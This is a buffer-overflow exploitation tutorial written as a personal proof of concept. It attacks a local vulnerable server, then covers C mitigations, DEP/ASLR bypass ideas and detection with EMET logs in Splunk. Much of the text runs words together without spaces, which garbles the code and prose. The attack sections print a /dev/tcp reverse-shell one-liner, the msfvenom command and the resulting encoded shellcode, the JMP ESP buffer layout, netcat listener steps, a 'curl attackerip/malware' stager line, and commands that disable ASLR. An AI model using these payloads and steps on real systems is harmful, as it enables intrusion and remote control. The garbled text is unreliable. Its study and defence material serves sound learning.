0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
